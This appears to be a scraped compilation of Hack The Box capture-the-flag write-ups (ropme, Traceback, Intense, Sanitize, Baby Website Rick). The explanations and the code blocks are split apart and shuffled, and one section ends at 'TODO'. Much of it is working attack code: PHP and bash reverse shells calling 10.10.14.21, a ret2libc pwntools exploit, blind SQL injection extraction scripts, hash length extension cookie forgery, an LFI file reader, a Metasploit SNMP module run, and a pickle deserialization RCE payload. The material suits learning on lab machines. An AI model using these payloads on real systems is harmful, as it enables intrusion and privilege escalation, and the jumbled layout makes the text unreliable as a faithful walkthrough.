One output, one input, then the program breaks.

No PIE, meaning we can pull off the . Let's leak the libc version.

We can now leak other symbols in order to pinpoint the libc version, for which you can use something like . Once you've done that, it's a simple .

hashtag
Final Exploit

Traceback

hashtag
Enumeration

We start off with a full-port nmap to check running services (most of output truncated)

We see port 22 with SSH and port 80 with HTTP. Let's check the HTTP.

hashtag
HTTP

We're greeted with a strange message:

It seems as if our job is to find the "backdoor" into the system. The source has nothing particularly interesting, except for a comment:

If we google this comment we come across an interesting with a collection of reverse shells. Let's put their names in a file called wordlist.txt and run gobuster:

It appears as if smevk.php is on the target! Let's head over to http://10.10.10.181/smevk.php and we what happens.

It definitely exists! The tells us the default credentials are admin:admin.

hashtag
Foothold

The webshell looks horrible, but we have an Execute input where we can run commands. We can now use this to get an actual reverse shell.

First we use nc on a terminal to listen for incoming connections:

Next we use a l on the webshell to redirect execution to it:

We get a connection! This is a fairly bad shell, but we can easily .

hashtag
User

hashtag
Enumeration

Now we have a foothold, let's check what's in our user's home directory. It appears to be a file called note.txt:

We have been left "a tool to practise Lua". As always, first thing we should do as a new user is check our permissions.

We can run luvit as sysadmin! We can guess that luvit is the tool that runs Lua scripts. Because we can run it as sysadmin, if we create a Lua script that spawns a shell we will spawn with higher privileges.

hashtag
Exploitation

This is the command we want to run. We can simply use echo to create it:

Now let's run it as sysadmin!

circle-info

You could also have done it in one line using the -e flag:

sudo -u sysadmin /home/sysadmin/luvit -e ‘os.execute(“/bin/bash”)’

We can now read user.txt!

hashtag
Root

Firstly, we want to get a nice SSH shell. We can get this using SSH keys.

hashtag
Getting SSH Access

First create the key pair:

I just hit Enter, meaning there's no passphrase. Now cat traceback.pub and echo it into ~/.ssh/authorized_keys - this registers the keypair as valid.

circle-exclamation

When using echo in these scenarios, use >> rather than >. Using only a single > will overwrite all the other contents, essentially erasing any keys owned by other people, which is not a great thing to do.

circle-info

If ~/.ssh doesn't exist already, make sure you create it.

triangle-exclamation

Make sure you spell it authorized not authorised!

Now we can log in via SSH using

hashtag
Finding the Vulnerability

To perform some automated privesc recon, I'm going to run . Port it over by hosting it on a python SimpleHTPServer:

The wget it on the box:

Then chmod, run and analyse the output.

Something that really sticks out is this:

These scripts get run every time someone logs in with SSH. If we can modify them (which we can), they will run whatever we modify them to. The important part here is .

hashtag
Exploitation

So the privesc is simple, but what should we get the file to do? There are a couple types of choices:

  • Run something that enables us to get root

  • Print the flag

In these situations, if both approaches are equivalently easy, then it's a good idea to go for the approach that affects the least other users. Nobody can notice our reverse shell since it's directly to our IP, so it doesn't affect other users.

Make sure you set up an nc listener on port 9002 and then log in via SSH again.

And bam, we have a root shell.

$ sudo nmap -sS -n -p- -A -oN full.nmp 10.10.10.181

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 96:25:51:8e:6c:83:07:48:ce:11:4b:1f:e5:6d:8a:28 (RSA)
|   256 54:bd:46:71:14:bd:b2:42:a1:b6:b0:2d:94:14:3b:0d (ECDSA)
|_  256 4d:c3:f8:52:b8:85:ec:9c:3e:4d:57:2c:4a:82:fd:86 (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Help us

Challenges

Web

ret2pltarrow-up-right
herearrow-up-right
ret2libcarrow-up-right
$ ./ropme 
ROP me outside, how 'about dah?
test
$ rabin2 -I ropme
bits     64
canary   false
nx       true
pic      false
relro    partial
from pwn import *

elf = context.binary = ELF('./ropme')
libc = elf.libc
p = elf.process()

# ret2plt
rop = ROP(elf)

rop.raw('A' * 72)
rop.puts(elf.got['puts'])
rop.raw(elf.symbols['main'])

p.sendline(rop.chain())

# read the leaked puts address
p.recvline()
puts = u64(p.recv(6) + b'\x00\x00')
log.success(f'Leaked puts: {hex(puts)}')

# Get base
libc.address = puts - libc.symbols['puts']
log.success(f'Libc base: {hex(libc.address)}')
from pwn import *

elf = context.binary = ELF('./ropme')

if args.REMOTE:
    libc = ELF('./libc-remote.so', checksec=False)
    p = remote('docker.hackthebox.eu', 31919)
else:
    libc = elf.libc
    p = elf.process()

# ret2plt
rop = ROP(elf)

rop.raw('A' * 72)
rop.puts(elf.got['puts'])
rop.raw(elf.symbols['main'])

p.sendline(rop.chain())

### Pad with \x00 to get to correct length of 8 bytes
p.recvline()
puts = u64(p.recv(6) + b'\x00\x00')
log.success(f'Leaked puts: {hex(puts)}')

# Get base
libc.address = puts - libc.symbols['puts']
log.success(f'Libc base: {hex(libc.address)}')


# ret2libc
binsh = next(libc.search(b'/bin/sh\x00'))

rop = ROP(libc)
rop.raw('A' * 72)
rop.system(binsh)

p.sendline(rop.chain())

p.interactive()

# HTB{r0p_m3_if_y0u_c4n!}
GitHub repoarrow-up-right
repo arrow-up-right
PHP reverse shelarrow-up-right
upgrade it to be usefularrow-up-right
linpeasarrow-up-right
they get run as rootarrow-up-right
The Message
The Comment
The Webshell
Yes, it's pretty hideous
GROUP Writeable Files

Intense

SQL Injection, Hash Length Extension, LFI and binary exploitation

hashtag
Overview

Intense is definitely the best box I have ever done on HTB, and I loved it every step of the way. We start by doing some general tampering on the website and, combined with source code analysis, we find an SQL injection vulnerability. As there is no controllable output, we can execute a boolean-based blind SQL injection attack and extract the secret character by character.

The hash is not crackable, but rather used to sign a custom JWT token to prove it's authentic. The hashing algorithm in use is vulnerable to a Hash Length Extensionarrow-up-right attack, which allows us to append our own data to the hash and sign in as the admin. More source code analysis reveals admins have access to an API vulnerable to LFI.

Using the LFI we can grab an SNMP Read-Write Community string, which we can . From here we exploit a vulnerable binary run by root to gain root access.

hashtag
Enumeration

hashtag
Nmap

nmap shows ports 22 and 80 open, so let's have a look at 80.

hashtag
HTTP

Couple things to note right away:

  • We get given the default credentials guest:guest

  • The app is open source

I'm going to download the source right away, and while that goes I'll sign in as guest.

First things first, I notice a cookie has been assigned:

Looks like a custom JWT due to the two base64 strings separated by a .. Let's try decoding it.

The second part of the cookie looks like it's not ASCII. Based on how JWTs normally work, we'll assume it's the cookie signature.

hashtag
Source Code Analysis

Around now we crack open VS Code and have a look at how the cookie is made, along with possible attack vectors.

The cookies seem to be defined in lwt.py.

This function appears to create the signature we saw as part of the JWT (I'll call it an LWT from now to avoid confusion). How is SECRET defined?

SECRET is completely random, which means that hypothetically we shouldn't be able to forge the LWTs.

The base app.py has an interesting function, however:

If we use the Send Message feature of the website, our data gets parsed immediately into a database query. There's no sanitisation involved (with the exception of checking that the message is within 140 characters), so we should be able to do some SQLi.

Note how the function returns the SQLite error if there is one, meaning we should get some feedback:

Now we know there is some SQL injection involved, let's think about what we need to extract. In utils.py, we see that there's a try_login function:

Now we know there is a column called username and a column called secret. If we go back in the source, we can see that the secret is used for creating the LWTs.

In app.py:

Calling lwt.create_session() with the response:

Extracting the admin's secret might bring us one step closer to successfully logging in as the admin.

hashtag
SQL Injection

As only errors are returned, I originally attempted to trigger my own custom errors. In the end, though, I went for a boolean-based blind SQLi payload.

hashtag
Payload Formation

After a big of tampering, I finished on this payload:

  • CASE tests the specific thing we give it

  • SUBSTR(username,0,1) grabs the first character of the username

  • WHEN 'a' is the other part of CASE

hashtag
Extracting the admin username

We can assume the username is admin, but we should make sure.

We'll loop through username with every printable character and see if it matches. Note that it will also match guest, so there'll be two matches. The way I'll fix this is I'll print it out only if it's not the corresponding letter in the word guest and hope there are no common letters, although there's probably a better way.

If we find a match, we add it to the known string and go again.

Success!

As expected, the username is admin. Now let's extract the secret.

hashtag
Extracting the admin secret

We get the hash f1fc12010c094016def791e1435ddfdcaeccf8250e36630c0bc93285c2971105, which appears to be the correct size:

hashtag
Signing in as the admin

Now we have the secret, it's time to work out what we can use it for. The way the cookies are signed is vulnerable to a Hash Length Extension attack. A good explanation can be found , but the basic theory is that even if you don't know the secret you can append data to the end of the hash simply by continuing the hashing algorithm.

I'll be using hashpumpy to extend the hashes.

triangle-exclamation

The signature changes every reset, so make sure you update it!

I got the cookie

Updating it in Inspect Element works!

hashtag
Analysing the Source as Admin

A logical place to look now would be admin.py.

The admin viewing abilities allow you to read files. Interesting. Are admin_view_log() and admin_list_dir() safe?

Nope! Simple LFI flaw.

hashtag
Scripting the LFI

I made a simple, messy script.

If we read /etc/passwd, we see there's a user called user.

Now to find a way to get foothold.

After some searching (and some nmap) we find SNMP is open, so let's see what we can do with that.

There's a rwcommunity called SuP3RPrivCom90. RW Communities can be . To do this, I'm going to use the metasploit linux/snmp/net_snmpd_rw_access module.

And we get a meterpreter shell! Our user is Debian-snmp.

hashtag
Finding Root

If we go into the home directory of user, we see a note_server and a note_server.c. Running netstat -tunlp tells us there is something listening on port 5001.

We can dump the files using meterpreter.

Let's run the file and check if it's this that runs on port 5001:

Checking the source, it definitely does.

As the program is running remotely, binary exploitation seems likely, so I'm going to dump the remote libc and linker as well:

I'll rename them to libc-remote.so and ld-remote.so respectively.

hashtag
Exploiting the Binary

hashtag
Summary

A few things lack bounds checking, allowing us to a) leak the stack and b) write to the stack.

hashtag
Analysis

The only part that's important is the switch statement within handle_client(), as it's in an infinite loop that gets run.

To summarise, the code can do the following:

  • Write

    • Read input size - only one byte

    • Check if that would bring you over the max size

The main flaw here is the check for copy occurs before index is increased. So if we copy a massive chunk, the check will be passed anyway.

circle-info

The binary uses fork(), which means the memory will be identical for every connection. Same binary base, same libc base, same canary, same everything.

hashtag
Setup

First, some basic setup:

hashtag
Leaking Canary and PIE

Now let's try writing 3 times then copying a massive amount.

Well, we've leaked significantly more than the stuff we wrote, that's for sure. Let's completely fill up the buffer, so we can work with the stuff after it. The buffer size is 1024 bytes, plus another 8 for the saved RBP.

Now we've successfully leaked, we can parse the values. Using radare2 and breaking on the ret, the offset between the leaked RIP value there and binary base is 0xf54:

Now we need to somehow read a GOT entry. Since the binary uses write(), it's possible. But first we need to get the copy working in a way that it starts overwriting at exactly the return pointer. With a bit of messing about, I got a function that seemed to work.

We're 12 off the canary at the end, so we put 12 A characters ahead and copy 12 extra.

hashtag
Leaking LIBC

TODO

alfa3.php
alfav3.0.1.php
andela.php
bloodsecv4.php
by.php
c99ud.php
cmd.php
configkillerionkros.php
jspshell.jsp
mini.php
obfuscated-punknopass.php
punk-nopass.php
punkholic.php
r57.php
smevk.php
wso2.8.5.php
$ gobuster dir -u http://10.10.10.181/ -w wordlist.txt -t 50

===============================================================
/smevk.php (Status: 200)
===============================================================
$ nc -nvlp 9001
$ php -r '$sock=fsockopen("10.10.14.21",9001);exec("/bin/sh -i <&3 >&3 2>&3");'
webadmin@traceback:/home/webadmin$ ls
note.txt

webadmin@traceback:/home/webadmin$ cat note.txt
- sysadmin -
I have left a tool to practice Lua.
I'm sure you know where to find it.
Contact me if you have any question.
webadmin@traceback:/home/webadmin$ sudo -l
User webadmin may run the following commands on traceback:
    (sysadmin) NOPASSWD: /home/sysadmin/luvit
os.execute("/bin/bash")
webadmin@traceback:/home/webadmin$ echo 'os.execute("/bin/bash")' > privesc.lua
$ sudo -u sysadmin /home/sysadmin/luvit privesc.lua
$ whoami
sysadmin
sysadmin@traceback:/home/webadmin$ cat ~/user.txt
895...
$ ssh-keygen -f traceback

Generating public/private rsa key pair.
Enter passphrase (empty for no passphrase): 
Enter same passphrase again:
[...]
echo "<public key>" >> ~/.ssh/authorized_keys
ssh -i traceback sysadmin@10.10.10.181
$ sudo python3 -m http.server 80
wget 10.10.14.21/linpeas.sh
echo -e '#!/bin/bash\nbash -i >& /dev/tcp/10.10.14.21/9002 0>&1' > 00-header
$ nc -nvlp 9002
$ ssh -i traceback sysadmin@10.10.10.181
root@traceback:/# whoami
whoami
root

root@traceback:/# cat /root/root.txt
cat /root/root.txt
e68...

Hack The Box

- if the value, in this case the result of
SUBSTR()
is
a
, it'll then run
LOAD_EXTENSION('b')
. If not, it essentially does nothing.
  • LOAD_EXTENSION('b') is just there to trigger the error if the first characters is a as there is likely to be no extension with the name b

  • Read that many bytes
  • Increase index (a pointer to the end of the current note)

  • Copy

    • Take in offset

    • Take in size

    • Check if index is out of range

    • Copy Data

    • Increase index

  • Show

    • Write note contents

  • leverage for RCEarrow-up-right
    herearrow-up-right
    leveraged for RCEarrow-up-right
    We're now an admin

    Sanitize

    hashtag
    Analysis

    First we're met with a signin form:

    Let's try some default creds, admin and admin.

    The Query

    Below, the query run on the database is shown; this seems like a clear example of SQL injection.

    hashtag
    Exploitation

    Ultimately, we want to try and log in as a user. To do this, we can try to inject our own SQL.

    We know the payload looks like the following:

    We want to trick this into always returning a user, and to do this we'll inject a clause that's always true, such as 1=1.

    That will make the query equal to the following:

    So here, it'll compare the username to admin, and if it's not the same the check will still pass because 1=1. However, there's a small issue with the password still being wrong. To bypass this check, we'll make everything after our injection a comment so that the databse ignores it:

    That would make the query be:

    As you can see, the username will always be correct due to the 1=1 and the password check is commented out! Let's try it.

    We still have to input a password because some javascript checks to make sure it's there, but we can fill that with any rubbish. And we get the flag!

    HTB{SQL_1nj3ct1ng_my_w4y_0utta_h3r3}

    Baby Website Rick

    hashtag
    Analysis

    All the references to pickles implies it's an insecure deserialization challenge. picklearrow-up-right is a serialization format used in python.

    If we check the cookies, we get the following:

    Our guess is that this is a pickled python object, and decoding the base64 seems to imply that to us too:

    hashtag
    Unpickling

    Let's immediately try to unpickle the data, which should give us a feel for how data is parsed:

    The error is quite clear - there's no anti_pickle_serum variable. Let's add one in and try again.

    That error is fixed, but there's another one:

    Here it's throwing an error because X (anti_pickle_serum) is not a type object - so let's make it a class extending from object!

    And now there's no error, and we get a response!

    So the cookie is the pickled form of a dictionary with the key serum and the value of an anti_pickle_serum class! Awesome.

    hashtag
    Exploitation

    For an introduction to pickle exploitation, I highly recommend . Essentially, the __reduce__ dunder method tells pickle how to deserialize, and to do so it takes a function and a list of parameters. We can set the function to os.system and the parameters to the code to execute!

    Here we create the malicious class, then serialize it as part of the dictionary as we saw before.

    Huh, that looks nothing like the original cookie value (which starts with KGRwMApTJ3)... maybe we missed something with the dumps?

    Checking out the documentation, there is a protocol parameter! If we , this can take a value from 0 to 5. If we play around, protocol=0 looks similar to the original cookie:

    Let's change the cookie to this (without the b''):

    As you can see now, the value 0 was returned. This is the return value of os.system! Now we simply need to find a function that returns the result, and we'll use subprocess.check_output for that.

    triangle-exclamation

    For reasons unknown to me, python3 pickles this differently to python2 and doesn't work. I'll therefore be using python2 from now on, but if anybody know why that would happen, please let me know!

    Now run it

    And input it as the cookie.

    As can now see that there is a flag_wIp1b file, so we can just read it!

    While it's tempting to do

    subprocess.check_output requires a list of parameters (as we see here) and the filename is a separate item in the list, like so:

    And boom - we get the flag!

    HTB{g00d_j0b_m0rty...n0w_I_h4v3_to_g0_to_f4m1ly_th3r4py..}

    PORT   STATE SERVICE VERSION
    22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
    | ssh-hostkey: 
    |   2048 b4:7b:bd:c0:96:9a:c3:d0:77:80:c8:87:c6:2e:a2:2f (RSA)
    |   256 44:cb:fe:20:bb:8d:34:f2:61:28:9b:e8:c7:e9:7b:5e (ECDSA)
    |_  256 28:23:8c:e2:da:54:ed:cb:82:34:a1:e3:b2:2d:04:ed (ED25519)
    80/tcp open  http    nginx 1.14.0 (Ubuntu)
    |_http-server-header: nginx/1.14.0 (Ubuntu)
    |_http-title: Intense - WebApp
    Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
    auth=dXNlcm5hbWU9Z3Vlc3Q7c2VjcmV0PTg0OTgzYzYwZjdkYWFkYzFjYjg2OTg2MjFmODAyYzBkOWY5YTNjM2MyOTVjODEwNzQ4ZmIwNDgxMTVjMTg2ZWM7.Lye5tjuupon4SLXjM0Jpc/l6Xkm5+POtT6xFlDtho3I=
    username=guest;secret=84983c60f7daadc1cb8698621f802c0d9f9a3c3c295c810748fb048115c186ec;
    <<invalid text>>
    def sign(msg):
        """ Sign message with secret key """
        return sha256(SECRET + msg).digest()
    SECRET = os.urandom(randrange(8, 15))
    @app.route("/submitmessage", methods=["POST"])
    def submitmessage():
        message = request.form.get("message", '')
        if len(message) > 140:
            return "message too long"
        if badword_in_str(message):
            return "forbidden word in message"
        # insert new message in DB
        try:
            query_db("insert into messages values ('%s')" % message)
        except sqlite3.Error as e:
            return str(e)
        return "OK"
    def try_login(form):
        """ Try to login with the submitted user info """
        if not form:
            return None
        username = form["username"]
        password = hash_password(form["password"])
        result = query_db("select count(*) from users where username = ? and secret = ?", (username, password), one=True)
        if result and result[0]:
            return {"username": username, "secret":password}
        return None
    @app.route("/postlogin", methods=["POST"])
    def postlogin():
        # return user's info if exists
        data = try_login(request.form)
        if data:
            resp = make_response("OK")
            # create new cookie session to authenticate user
            session = lwt.create_session(data)
            cookie = lwt.create_cookie(session)
            resp.set_cookie("auth", cookie)
            return resp
        return "Login failed"
    def create_session(data):
        """ Create session based on dict
            @data: {"key1":"value1","key2":"value2"}
    
            return "key1=value1;key2=value2;"
        """
        session = ""
        for k, v in data.items():
            session += f"{k}={v};"
        return session.encode()
    yes') UNION SELECT CASE SUBSTR(username,0,1) WHEN 'a' THEN LOAD_EXTENSION('b') ELSE 'yes' END role FROM users--
    from requests import post
    from string import printable
    
    guest = 'guest_________'        # if len(username) > 5 to get no index errors
    name = ""
    
    i = 0
    
    for i in range(10):            # assuming it's a maximum of 10 long
        for char in printable:
            message = f"yes') UNION SELECT CASE SUBSTR(username,{i + 1},1) WHEN '{char}' THEN LOAD_EXTENSION('b') ELSE 'yes' END role FROM users--"
    
            data = {'message': message}
    
            r = post('http://intense.htb/submitmessage', data=data)
    
            if r.text == "not authorized":
                if char != guest[i]:
                    name += char
                    print(f"char found: {char}")
    print(name)
    char found: a
    char found: d
    char found: m
    char found: i
    char found: n
    admin
    from requests import post
    from string import hexdigits
    
    guest = '84983c60f7daadc1cb8698621f802c0d9f9a3c3c295c810748fb048115c186ec'
    admin = ''
    
    i = 0
    
    for i in range(0, len(guest)):
        for char in hexdigits:
            message = f"yes') UNION SELECT CASE SUBSTR(secret,{i + 1},1) WHEN '{char}' THEN LOAD_EXTENSION('b') ELSE 'yes' END role FROM users--"
    
            data = {'message': message}
    
            r = post('http://intense.htb/submitmessage', data=data)
    
            if r.text == "not authorized":
                if char != guest[i]:
                    admin += char
                    print(f"char found: {char}")
    
        # if at the end of trying all digits the secret isn't the expected length,
        # it must have shared a digit with the guest secret and we skipped over it
        # so we'll just append it
        if len(admin) != (i + 1):
            char = guest[i]
            admin += char
            print(f"char found: {char}")
    
    print(admin)
    $echo -n 'f1fc12010c094016def791e1435ddfdcaeccf8250e36630c0bc93285c2971105' | wc -c
    64
    from base64 import b64encode
    from requests import get
    from hashpumpy import hashpump
    
    current = b'username=guest;secret=84983c60f7daadc1cb8698621f802c0d9f9a3c3c295c810748fb048115c186ec;'
    signature = b'2f27b9b63baea689f848b5e333426973f97a5e49b9f8f3ad4fac45943b61a372'          # change per instance!
    append = b';username=admin;secret=f1fc12010c094016def791e1435ddfdcaeccf8250e36630c0bc93285c2971105;'
    
    for x in range(8, 15):
        new_signature, value = hashpump(signature, current, append, x)
        cookie = b64encode(value) + b'.' + b64encode(bytes.fromhex(new_signature))
    
        r = get('http://intense.htb/admin', cookies={'auth' : cookie.decode()})
        
        if r.status_code != 403:
            print(cookie)
    dXNlcm5hbWU9Z3Vlc3Q7c2VjcmV0PTg0OTgzYzYwZjdkYWFkYzFjYjg2OTg2MjFmODAyYzBkOWY5YTNjM2MyOTVjODEwNzQ4ZmIwNDgxMTVjMTg2ZWM7gAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMQO3VzZXJuYW1lPWFkbWluO3NlY3JldD1mMWZjMTIwMTBjMDk0MDE2ZGVmNzkxZTE0MzVkZGZkY2FlY2NmODI1MGUzNjYzMGMwYmM5MzI4NWMyOTcxMTA1Ow==.Kj3kZb1zkyyn0eUdcAEy/u2k0TZJWvUAIDCmPuLqdNU=
    @admin.route("/admin/log/view", methods=["POST"])
    def view_log():
        if not is_admin(request):
            abort(403)
        logfile = request.form.get("logfile")
        if logfile:
            logcontent = admin_view_log(logfile)
            return logcontent
        return ''
    
    
    @admin.route("/admin/log/dir", methods=["POST"])
    def list_log():
        if not is_admin(request):
            abort(403)
        logdir = request.form.get("logdir")
        if logdir:
            logdir = admin_list_log(logdir)
            return str(logdir)
        return ''
    def admin_view_log(filename):
        if not path.exists(f"logs/{filename}"):
            return f"Can't find {filename}"
        with open(f"logs/{filename}") as out:
            return out.read()
    
    
    def admin_list_log(logdir):
        if not path.exists(f"logs/{logdir}"):
            return f"Can't find {logdir}"
        return listdir(logdir)
    from requests import post
    
    cookies = {'auth': 'dXNlcm5hbWU9Z3Vlc3Q7c2VjcmV0PTg0OTgzYzYwZjdkYWFkYzFjYjg2OTg2MjFmODAyYzBkOWY5YTNjM2MyOTVjODEwNzQ4ZmIwNDgxMTVjMTg2ZWM7gAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMQO3VzZXJuYW1lPWFkbWluO3NlY3JldD1mMWZjMTIwMTBjMDk0MDE2ZGVmNzkxZTE0MzVkZGZkY2FlY2NmODI1MGUzNjYzMGMwYmM5MzI4NWMyOTcxMTA1Ow==.Kj3kZb1zkyyn0eUdcAEy/u2k0TZJWvUAIDCmPuLqdNU='}
    
    while True:
        read = input('>>> ')
    
        cmd, *folder = read.split()
    
        if cmd == 'ls':
            loc = '../' * 8 + '..' + ''.join(folder)
            r = post('http://intense.htb/admin/log/dir', cookies=cookies, data={'logdir': loc})
            
            files = '\n'.join(eval(r.text))
            print(files)
        else:
            loc = '../' * 8 + '..' + read
            r = post('http://intense.htb/admin/log/view', cookies=cookies, data={'logfile': loc})
    
            print(r.text.rstrip())
    >>> /home/user/user.txt
    6b5...
    >>> /etc/snmp/snmpd.conf
    [...]
     rocommunity public  default    -V systemonly
     rwcommunity SuP3RPrivCom90
    [...]
    msf6 exploit(linux/snmp/net_snmpd_rw_access) > set COMMUNITY SuP3RPrivCom90        
    COMMUNITY => SuP3RPrivCom90                                                                                                                                           
    msf6 exploit(linux/snmp/net_snmpd_rw_access) > set RHOSTS intense.htb                                                                                                 
    RHOSTS => intense.htb                                                                                                                                                 
    msf6 exploit(linux/snmp/net_snmpd_rw_access) > set LHOST tun0                      
    LHOST => tun0                                                                      
    msf6 exploit(linux/snmp/net_snmpd_rw_access) > run
    netstat -tunlp
    [...]
    tcp        0      0 127.0.0.1:5001          0.0.0.0:*               LISTEN      -
    [...]
    meterpreter > download note_server
    meterpreter > download note_server.c
    $ netstat -tunlp | grep note_server
    tcp        0      0 127.0.0.1:5001          0.0.0.0:*               LISTEN      9264/./note_server
    /* Initialize socket structure */ 
    bzero((char *) &serv_addr, sizeof(serv_addr));
    portno = 5001;
    $ ldd note_server
            linux-vdso.so.1 (0x00007ffee41ec000)
            libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f12b4eba000)
            /lib64/ld-linux-x86-64.so.2 (0x00007f12b54ae000)
    meterpreter > download /lib/x86_64-linux-gnu/libc.so.6
    meterpreter > download /lib64/ld-linux-x86-64.so.2
    switch(cmd) {
        // write note
        case 1:
            if (read(sock, &buf_size, 1) != 1) {
                exit(1);
            }
    
            // prevent user to write over the buffer
            if (index + buf_size > BUFFER_SIZE) {
                exit(1);
            }
    
            // write note
            if (read(sock, &note[index], buf_size) != buf_size) {
                exit(1);
            }
    
            index += buf_size;
        break;
    
        // copy part of note to the end of the note
        case 2:
            // get offset from user want to copy
            if (read(sock, &offset, 2) != 2) {
                exit(1);
            }
    
            // sanity check: offset must be > 0 and < index
            if (offset < 0 || offset > index) {
                exit(1);
            }
    
            // get the size of the buffer we want to copy
            if (read(sock, &copy_size, 1) != 1) {
                exit(1);
            }
    
            // prevent user to write over the buffer's note
            if (index > BUFFER_SIZE) {
                exit(1);
            }
    
            // copy part of the buffer to the end 
            memcpy(&note[index], &note[offset], copy_size);
    
            index += copy_size;
        break;
    
        // show note
        case 3:
            write(sock, note, index);
        return;
    
    }
    from pwn import *
    
    elf = context.binary = ELF('./note_server')
    
    if args.REMOTE:
        libc = ELF('./libc-remote.so')
        p = process('127.0.0.1', 5002)      # for the portfwd
    else:
        libc = elf.libc
        p = process('127.0.0.1', 5001)
    
    ### Wrapper Functions
    def write(data):
        if isinstance(data, str):
            data = data.encode()
    
        p.send(b'\x01' + p8(len(data)) + data)
    
    
    def copy(start=0, length=100):
        p.send(b'\x02' + p16(start) + p8(length))
    
    
    def read():
        p.send(b'\x03')
        return p.clean(0.5)
    write('A' * 0xff)
    write('B' * 0xff)
    write('C' * 0xff)
    copy(start=0xff*3, length=250)
    print(read())
    write('A' * 0xff)       # 255
    write('B' * 0xff)       # 510
    write('C' * 0xff)       # 765
    write('D' * 0xff)       # 1020
    write('E' * 4)          # 1024
    copy(start=1024, length=32)
    
    leaks = read()[1024:]
    
    addrs = [u64(leaks[addr:addr+8]) for addr in range(0, len(leaks), 8)]
    [print(hex(addr)) for addr in addrs]
    0x7ffe9d91bbe0
    0xdc185629f84e5a00            canary
    0x7ffe9d91bbe0                rbp
    0x565150b24f54                rip
    leaks = read()[1032:]
    
    canary = u64(leaks[:8])
    log.success(f'Canary: {hex(canary)}')
    
    ret_pointer = u64(leaks[16:24])
    elf.address = ret_pointer - 0xf54
    log.success(f'PIE Base: {hex(elf.address)}')
    def deliver_payload(payload):
        payload = 'A' * 12 + payload
        payload = payload.ljust(0xff, 'A')
    
        write(payload)
        write('B' * 0xff)
        write('C' * 0xff)
        write('D' * 0xff)
    
        copy(12 + len(payload))
    plan_b=KGRwMApTJ3NlcnVtJwpwMQpjY29weV9yZWcKX3JlY29uc3RydWN0b3IKcDIKKGNfX21haW5fXwphbnRpX3BpY2tsZV9zZXJ1bQpwMwpjX19idWlsdGluX18Kb2JqZWN0CnA0Ck50cDUKUnA2CnMu
    $ echo 'KGRwMApTJ3NlcnVtJwpwMQpjY29weV9yZWcKX3JlY29uc3RydWN0b3IKcDIKKGNfX21haW5fXwphbnRpX3BpY2tsZV9zZXJ1bQpwMwpjX19idWlsdGluX18Kb2JqZWN0CnA0Ck50cDUKUnA2CnMu' | base64 -d
    (dp0
    S'serum'
    p1
    ccopy_reg
    _reconstructor
    p2
    (c__main__
    anti_pickle_serum
    p3
    c__builtin__
    object
    p4
    Ntp5
    Rp6
    s.
    this blog postarrow-up-right
    dumps()arrow-up-right
    read a bit deeperarrow-up-right
    select * from users where username = '<username>' AND password = '<password>';
    admin' OR 1=1
    select * from users where username = 'admin' OR 1=1 AND password = 'password';
    admin' OR 1=1;--
    select * from users where username = 'admin' OR 1=1;-- AND password = 'password';
    from base64 import b64decode
    
    import pickle
    
    code = b'KGRwMApTJ3NlcnVtJwpwMQpjY29weV9yZWcKX3JlY29uc3RydWN0b3IKcDIKKGNfX21haW5fXwphbnRpX3BpY2tsZV9zZXJ1bQpwMwpjX19idWlsdGluX18Kb2JqZWN0CnA0Ck50cDUKUnA2CnMu'
    
    serum = pickle.loads(b64decode(code))
    print(serum)
    $ python3 deserialize.py 
    Traceback (most recent call last):
      File "deserialize.py", line 7, in <module>
        serum = pickle.loads(b64decode(code))
    AttributeError: Can't get attribute 'anti_pickle_serum' on <module '__main__' from 'deserialize.py'>
    code = b'KGRwMApT[...]'
    anti_pickle_serum = 'test'
    $ python3 deserialize.py 
    Traceback (most recent call last):
      File "deserialize.py", line 8, in <module>
        serum = pickle.loads(b64decode(code))
      File "/usr/lib/python3.8/copyreg.py", line 43, in _reconstructor
        obj = object.__new__(cls)
    TypeError: object.__new__(X): X is not a type object (str)
    # [imports]
    class anti_pickle_serum(object):
        def __init__(self):
            pass
    # [...]
    $ python3 deserialize.py 
    {'serum': <__main__.anti_pickle_serum object at 0x7f9e1a1b1c40>}
    from base64 import b64encode
    
    import pickle
    import os
    
    class anti_pickle_serum(object):
        def __reduce__(self):               # function called by the pickler
            return os.system, (['whoami'],)
    
    code = pickle.dumps({'serum': anti_pickle_serum()})
    code = b64encode(code)
    print(code)
    $ python3 final.py 
    b'gASVLAAAAAAAAAB9lIwFc2VydW2UjAVwb3NpeJSMBnN5c3RlbZSTlIwGd2hvYW1plIWUUpRzLg=='
    code = pickle.dumps({'serum': anti_pickle_serum()}, protocol=0)
    $ python3 final.py 
    b'KGRwMApWc2VydW0KcDEKY3Bvc2l4CnN5c3RlbQpwMgooVndob2FtaQpwMwp0cDQKUnA1CnMu'
    return subprocess.check_output, (['ls'],)
    $ python final.py 
    KGRwMApTJ3NlcnVtJwpwMQpjc3VicHJvY2VzcwpjaGVja19vdXRwdXQKcDIKKChscDMKUydscycKcDQKYXRwNQpScDYKcy4=
    return subprocess.check_output, (['cat flag_wIp1b'],)
    return subprocess.check_output, (['cat', 'flag_wIp1b'],)
    $ python final.py 
    KGRwMApTJ3NlcnVtJwpwMQpjc3VicHJvY2VzcwpjaGVja19vdXRwdXQKcDIKKChscDMKUydjYXQnCnA0CmFTJ2ZsYWdfd0lwMWInCnA1CmF0cDYKUnA3CnMu